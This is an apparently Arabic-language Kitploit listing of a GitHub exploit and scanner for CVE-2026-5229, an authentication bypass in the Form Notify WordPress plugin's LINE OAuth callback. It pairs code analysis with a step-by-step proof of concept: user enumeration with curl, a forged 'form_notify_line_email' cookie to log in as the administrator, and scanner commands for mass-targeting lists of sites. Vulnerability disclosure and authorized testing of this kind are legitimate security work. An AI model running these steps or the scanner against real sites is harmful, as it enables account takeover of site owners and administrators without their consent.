Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-5229 — CVE-2026-5229: تجاوز مصادقة Form Notify عبر استدعاء LINE OAuth (CVSS 9.8) | Kitploit
أدوات/GitHubGitHub/xxconi/cve-2026-5229
ماسحات الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالمصادقةالتعلم والتعليم
GitHubxxconi/cve-2026-5229

CVE-2026-5229

CVE-2026-5229: تجاوز مصادقة Form Notify عبر استدعاء LINE OAuth (CVSS 9.8)

عرض المستودع
7منذ 4 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-5229

CVE-2026-5229: تجاوز مصادقة Form Notify عبر رد اتصال LINE OAuth (CVSS 9.8)

Form Notify — ماسح تجاوز مصادقة LINE OAuth

الإضافة: Form Notify (form-notify) نوع الثغرة: تجاوز مصادقة LINE OAuth بدون تسجيل دخول ← الاستيلاء على الحساب درجة CVSS: 9.8 (حرجة) متجه CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H الإصدارات المتأثرة: <= 1.1.10 الإصدار المُصحح: 1.1.11+ الباحث: Paolo Tresso — Wordfence


📌 حول الثغرة

إضافة Form Notify هي إضافة ووردبريس ترسل إشعارات بعد إرسال النماذج وتوفر تكامل LINE Login OAuth 2.0.

تقع الثغرة في معالج رد الاتصال (callback handler) الخاص بـ LINE OAuth. بعد أن يكمل المستخدم تدفق تفويض LINE، تحدد الإضافة حساب ووردبريس استنادًا إلى عنوان البريد الإلكتروني فقط. ولا تتحقق إطلاقًا مما إذا كان حساب LINE مرتبطًا مسبقًا بحساب ووردبريس هذا.


🔍 جدول الثغرة حسب الإصدار

الإصدارالثغرةطريقة الهجوم
<= 1.1.08حقن الكوكيز + مطابقة البريد الإلكترونيالمسار A أو المسار B
1.1.09 – 1.1.10مطابقة البريد الإلكتروني (تمت إزالة الكوكيز)المسار B
1.1.11+مُصحح—

⚙️ التحليل الفني

نقطة نهاية REST مفتوحة

نقطة نهاية رد الاتصال الخاصة بـ LINE OAuth مسجلة لتكون عامة تمامًا:

// src/APIs/Line/Login/Route.php
register_rest_route(
    'form-notify/v1',
    '/callback',
    array(
        'methods'             => 'GET',
        'callback'            => array( $this, 'get_api_callback' ),
        'permission_callback' => function () {
            return true;  // kimlik doğrulama gerekmez
        },
    )
);

لماذا لا يوفر Nonce الحماية؟

إن رموز nonce في ووردبريس هي رموز CSRF وليست رموز مصادقة. يمكن لأي زائر الحصول على nonce صالح من HTML الصفحة واجتياز فحص التحقق.


تحديد الحساب عبر البريد الإلكتروني (1.1.10)

// Route.php — lines 115–116
$has_real_email = ! empty( $user->email );
$user_email     = $has_real_email ? $user->email : $user_raw_id . '@line.com';
// User.php — is_member()
public function is_member( string $user_email, string $user_avatar ): bool {
    $this->user = get_user_by( 'email', $user_email );  // sadece email ile arama
    if ( ! is_wp_error( $this->user ) && $this->user ) {
        return true;  // linkage kontrolü YOK
    }
    return false;
}

إذا وُجد تطابق، تفتح دالة login() جلسة فورًا:

// User.php — login()
public function login( string $user_raw_id, string $user_email, ... ): void {
    if ( ! is_user_logged_in() ) {
        wp_clear_auth_cookie();
        wp_set_current_user( $this->user->ID );
        wp_set_auth_cookie( $this->user->ID, true, is_ssl() );
    }
}

حقن الكوكيز (<= 1.1.08)

// Route.php (1.1.08) — lines 115–118
if ( isset( $_COOKIE['form_notify_line_email'] ) ) {
    $line_email = sanitize_text_field(
        wp_unslash( $_COOKIE['form_notify_line_email'] )
    );
}
$user_email = ( $user->email ) ? $user->email : $line_email;

عندما لا يُرجع ملف تعريف LINE بريدًا إلكترونيًا ($user->email فارغ)، تقرأ الإضافة كوكي المتصفح مباشرةً. يتحكم المهاجم في هذه الكوكي بالكامل.


ضعف التحقق من الحالة (State)

$session_state = get_transient( 'form_notify_line_state_' . $state );

if ( empty( $session_state ) ) {
    // Transient yoksa $_SESSION'a düşer
    $session_state = sanitize_text_field(
        wp_unslash( $_SESSION[ 'form_notify_line_state_' . $state ] )
    );
    set_transient( 'form_notify_line_state_' . $state, $state, 60 * 60 );
}

عند انتهاء صلاحية الـ transient، يعمل البديل $_SESSION. في معظم تثبيتات ووردبريس، لا تكون $_SESSION ممتلئة عند هذه النقطة ← يمكن تجاوز فحص الحالة.


مشكلة ثانوية — البريد الإلكتروني = كلمة المرور (<= 1.1.10)

// sign_up() metodu
$userdata = array(
    'user_pass' => $user_email,  // şifre = email adresi
    ...
);

في الحسابات التي يتم إنشاؤها عبر تدفق LINE OAuth، تكون كلمة المرور مطابقة لعنوان البريد الإلكتروني. وهذا يسمح مباشرة بهجوم تخمين (brute-force) أو هجوم تسجيل دخول.


🔴 لماذا هي حرجة؟

السببالوصف
لا يتطلب مصادقةنقطة نهاية الاستدعاء عامة بالكامل
لا يوجد تحقق من الارتباطأي حساب LINE يكفي
هجوم الكوكيزفي <= 1.1.08 لا يتطلب حتى بريدًا إلكترونيًا
جميع الحسابات بما فيها المسؤولget_user_by('email') يؤثر على الجميع
تحكم ضعيف بالحالةيمكن تجاوز حماية CSRF
البريد الإلكتروني = كلمة المرورالحسابات المفتوحة عبر OAuth عرضة لهجوم تخمين سهل

🧪 إثبات المفهوم (يدوي)

⚠️ إخلاء المسؤولية: يُقدَّم إثبات المفهوم هذا لأغراض تعليمية واختبار أمان مصرح به فقط. اختبار الأنظمة دون إذن صريح غير قانوني.

المتطلبات الأساسية:

  • إضافة Form Notify مثبتة ومفعّلة، مع إعداد LINE Login
  • حساب مطوّر LINE وقناة LINE Login
  • صفحة تحتوي على زر LINE login في الموقع المستهدف

المسار A — حقن الكوكيز (<= 1.1.08)

الخطوة 1 — اكتشاف البريد الإلكتروني المستهدف

TARGET="https://target.com"

# WordPress REST API'den kullanıcı listesi
curl -s "$TARGET/wp-json/wp/v2/users" | python3 -m json.tool

# Veya author sayfaları
curl -s "$TARGET/?author=1" -I | grep Location

الخطوة 2 — ضبط الكوكي

افتح أدوات مطور المتصفح والصق في الكونسول:

document.cookie = "[email protected]; path=/";

أو عبر curl:

curl -v -b '[email protected]' \
  "$TARGET/wp-json/form-notify/v1/login" 2>&1 | grep Location

الخطوة 3 — بدء تدفق LINE OAuth

افتح عنوان LINE OAuth الموجود في ترويسة Location في المتصفح.

الخطوة 4 — أكمل دون منح نطاق البريد الإلكتروني

في شاشة موافقة LINE، لا تمنح إذن البريد الإلكتروني أو استخدم حساب LINE بدون بريد إلكتروني. يعيد LINE التوجيه إلى رد الاتصال دون بريد إلكتروني. تقع الإضافة في الكوكي.

الخطوة 5 — تحقق من الجلسة

curl -s -b 'wordpress_logged_in_XXXX=...' \
  "$TARGET/wp-json/wp/v2/users/me" | python3 -m json.tool

الاستجابة المتوقعة:

{
  "id": 1,
  "name": "admin",
  "email": "[email protected]",
  "roles": ["administrator"]
}

المسار B — مطابقة البريد الإلكتروني (<= 1.1.10)

الخطوة 1 — اكتشاف البريد الإلكتروني المستهدف

مطابق للخطوة 1 في المسار A.

الخطوة 2 — إنشاء حساب LINE

أنشئ حساب LINE بالبريد الإلكتروني المستهدف على account.line.biz. (يتطلب التحقق من البريد الإلكتروني — يلزم الوصول إلى صندوق بريد الهدف.)

الخطوة 3 — بدء تدفق OAuth

https://target.com/wp-json/form-notify/v1/login

الخطوة 4 — أكمل بمنح نطاق البريد الإلكتروني

في شاشة موافقة LINE، امنح إذن البريد الإلكتروني. يُرجع LINE عنوان البريد الإلكتروني إلى رد الاتصال.

الخطوة 5 — المصادقة التلقائية

Plugin: is_member('[email protected]')
     → get_user_by('email', '[email protected]')
     → Administrator bulundu
     → wp_set_auth_cookie(1)
     → Oturum açıldı ✓

🛠️ الماسح التلقائي

التثبيت

git clone https://github.com/kullanici/form-notify-bypass
cd form-notify-bypass
pip install -r requirements.txt

requirements.txt

requests

🚀 الاستخدام

هدف واحد — اكتشاف البريد الإلكتروني تلقائيًا

python form_notify_rce.py -u http://hedef.com

المسار A مع بريد إلكتروني محدد (حقن الكوكيز)

python form_notify_rce.py -u http://hedef.com \
  --email [email protected] \
  --path A

المسار B (مطابقة البريد الإلكتروني) — إكمال يدوي

python form_notify_rce.py -u http://hedef.com \
  --email [email protected] \
  --path B

كلا المسارين معًا

python form_notify_rce.py -u http://hedef.com \
  --email [email protected] \
  --path both

الفحص الجماعي

python form_notify_rce.py -l targets.txt -t 15 -o sonuclar.txt

عبر بروكسي (Burp Suite)

python form_notify_rce.py -u http://hedef.com \
  --proxy http://127.0.0.1:8080

⚙️ المعاملات

تنزيل الأداة